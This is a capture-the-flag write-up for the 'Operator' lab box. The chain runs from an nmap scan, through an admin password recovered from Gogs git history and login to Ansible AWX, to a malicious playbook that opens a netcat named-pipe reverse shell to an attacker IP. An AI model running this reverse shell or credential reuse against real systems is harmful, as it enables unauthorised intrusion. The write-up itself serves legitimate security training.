Operator
The objective for this Business CTF 2022 box is described as follows:
We have located Monkey Business operator blog where they are leaking personal informations. We would like you to break into their system and figure out a way to gain full control.
The target is 10.129.230.73. The path runs through a self-hosted Gogs Git service leaking credentials, into an Ansible AWX instance, and finally to remote code execution via a malicious playbook.
Recon
We begin with a full TCP port scan plus service/version detection and default scripts to map the attack surface.
Nmap scan report for 10.129.230.73
Host is up (0.027s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MonkeyLeaks
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=354c6afdc65c3639; Path=/; HttpOnly
| Set-Cookie: _csrf=ncWd0I3tiOxIax2AmNiagrq8sNM6MTY1Nzg5NjQ5MzQ1ODQ3NzY3NA; Path=/; Domain=operator.htb; Expires=Sat, 16 Jul 2022 14:48:13 GMT; HttpOnly
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| Date: Fri, 15 Jul 2022 14:48:13 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <meta name="author" content="Gogs" />
| <meta name="description" content="Gogs is a painless self-hosted Git service" />
| <meta name="keywords" content="go, git, self-hosted, gogs">
| <meta name="referrer" content="no-referrer" />
| <meta name="_csrf" content="ncWd0I3tiOxIax2AmNiagrq8sNM6MTY1Nzg5NjQ5MzQ1OD
| HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| X-Content-Type-Options: nosniff
| Date: Fri, 15 Jul 2022 14:48:18 GMT
| Content-Length: 108
|_ template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 539dff11-ed89-4efe-9d42-e595b2dc729e
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 15 Jul 2022 14:48:19 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: c8f7bed1-8c74-40e2-bc93-e4581af425b5
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 15 Jul 2022 14:48:19 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 78fb99b7-5c07-45e9-91bd-5f646437a24f
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 15 Jul 2022 14:48:19 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:operator, IP Address:10.129.227.232, IP Address:10.129.227.241, IP Address:10.129.230.73, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=k3s-server-ca@1657128507
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2022-07-06T17:28:27
| Not valid after: 2023-07-15T14:45:24
| MD5: f1b1 7ce2 cb77 10f5 c39c 0ba4 0106 f8c8
|_SHA-1: 289a fd87 b90e 729d 896f e5fb 0cda 8a8f bff6 0cd0
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=operator
| Subject Alternative Name: DNS:operator, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.230.73
| Issuer: commonName=k3s-server-ca@1657128507
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2022-07-06T17:28:27
| Not valid after: 2023-07-15T14:45:13
| MD5: 956e 0dbd 4b2e d6a5 4ed8 39f9 5011 3e80
|_SHA-1: ad78 e41c 40f8 a241 72eb 1821 5c7f 6e03 d353 621f
30080/tcp open http nginx
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: F479283B993E09934AE4349244AD3BC0
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.92%I=7%D=7/15%Time=62D17E2C%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2108,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=354c6afdc65c3639;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=ncWd0I3tiOxIax2AmNiagrq8
SF:sNM6MTY1Nzg5NjQ5MzQ1ODQ3NzY3NA;\x20Path=/;\x20Domain=operator\.htb;\x20
SF:Expires=Sat,\x2016\x20Jul\x202022\x2014:48:13\x20GMT;\x20HttpOnly\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nDate:\x
SF:20Fri,\x2015\x20Jul\x202022\x2014:48:13\x20GMT\r\n\r\n<!DOCTYPE\x20html
SF:>\n<html>\n<head\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-
SF:Type\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20htt
SF:p-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20
SF:name=\"author\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"descript
SF:ion\"\x20content=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x2
SF:0service\"\x20/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20gi
SF:t,\x20self-hosted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20cont
SF:ent=\"no-referrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"ncWd0
SF:I3tiOxIax2AmNiagrq8sNM6MTY1Nzg5NjQ5MzQ1OD")%r(Help,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,14A,"
SF:HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x20M
SF:ax-Age=2147483647\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Fri
SF:,\x2015\x20Jul\x202022\x2014:48:18\x20GMT\r\nContent-Length:\x20108\r\n
SF:\r\ntemplate:\x20base/footer:15:47:\x20executing\x20\"base/footer\"\x20
SF:at\x20<\.PageStartTime>:\x20invalid\x20value;\x20expected\x20time\.Time
SF:\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.92%T=SSL%I=7%D=7/15%Time=62D17E33%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20c8
SF:f7bed1-8c74-40e2-bc93-e4581af425b5\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2015\x20Ju
SF:l\x202022\x2014:48:19\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x2078fb99b7-5c07-45e9-91bd-5f646437a24f\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2015\
SF:x20Jul\x202022\x2014:48:19\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20539dff11-ed89-4efe-9d42-e595b2dc729e\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Fri,\x2015\x20Jul\x202022\x2014:48:19\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan reveals a clearly cloud-native target:
80/tcp— Apache hosting the MonkeyLeaks site.3000/tcp— a Gogs self-hosted Git service (note thei_like_gogscookie and theoperator.htbdomain).8443/tcp/10250/tcp— a k3s Kubernetes API server and kubelet, per thecommonName=k3sandcommonName=operatorcertificates.30080/tcp— an nginx-fronted NodePort service.
The certificate and cookie also confirm the operator.htb vhost, which we add to /etc/hosts.
Enumeration: Gogs Credential Leak (Port 3000)
Gogs on port 3000 hosts the MonkeyBusiness organization. Browsing its repositories surfaces the leak repo as well as the AWX operator config repo.
http://operator.htb:3000/MonkeyBusiness/personal-uk-leak-2022
http://operator.htb:3000/MonkeyBusiness
The organization describes itself as:
An Ansible AWX operator for Kubernetes built with Operator SDK and Ansible.
The members list reveals candidate usernames for later use:
b15h0p Behind you Joined on Jun 22, 2022
PR0PH3CY Joined on Jun 22, 2022
Z10N Joined on Jun 22, 2022
4B3RR4710N Joined on Jun 22, 2022
5463 Joined on Jun 22, 2022
test Joined on Jun 28, 2022
Reviewing user activity shows a telling request from b15h0p asking a teammate to publish the AWX config repo:
http://operator.htb:3000/b15h0p?tab=activity
Can you please create a repo called awx-k8s-config and upload it there? Please make sure to remove any credentials.
The credential was supposedly scrubbed, but Git history preserves it. Inspecting the commit diff in the awx-k8s-config repo shows the original (now “redacted”) line still present in an earlier revision.
http://operator.htb:3000/MonkeyBusiness/awx-k8s-config
- password: XRxpw33WnfY3MTgQ
\ No newline at end of file
- password: <REDACTED>
+---
+apiVersion: v1
+kind: Secret
+metadata:
- name: monkey-business-admin-password
- namespace: awx
+stringData:
- password: XRxpw33WnfY3MTgQ
The leaked Kubernetes Secret is the AWX admin password, scoped to the awx namespace:
This Kubernetes Operator is meant to be deployed in your Kubernetes cluster(s) and can manage one or more AWX instances in any namespace.

This gives us a working credential pair: admin : XRxpw33WnfY3MTgQ.
Exploitation: Ansible AWX RCE (Port 30080)
Port 30080 (the NodePort behind nginx) serves the Ansible AWX web UI. We log in with the credentials recovered from Gogs.
http://operator.htb:30080/#/home
admin : XRxpw33WnfY3MTgQ
The instance reports version AWX 21.2.0:
< AWX 21.2.0 >
AWX runs Ansible playbooks pulled from configured projects. Since we have admin access, we can author a playbook that executes arbitrary commands on the AWX execution environment and run it as a job template. Editing project 6 lets us drop a reverse-shell task.
http://operator.htb:30080/#/projects/6/details
The playbook below targets localhost, escalates with become, and uses a named-pipe reverse shell back to our listener on 10.10.14.20:4444. The async/poll: 0 settings fire the task without blocking the job on the long-lived shell.
---
- name: Run
hosts: localhost
gather_facts: true
become: yes
tasks:
- name: Run command
shell: rm -rf /tmp/y;mkfifo /tmp/y;cat /tmp/y|/bin/bash -i 2>&1|nc 10.10.14.20 4444 >/tmp/y
async: 10
poll: 0
AWX resolves project playbooks under its projects directory, so the new playbook is picked up from there:
Project Base Path: /var/lib/awx/projects
Launching the job template that uses this playbook triggers the reverse shell and lands us a foothold inside the AWX environment.
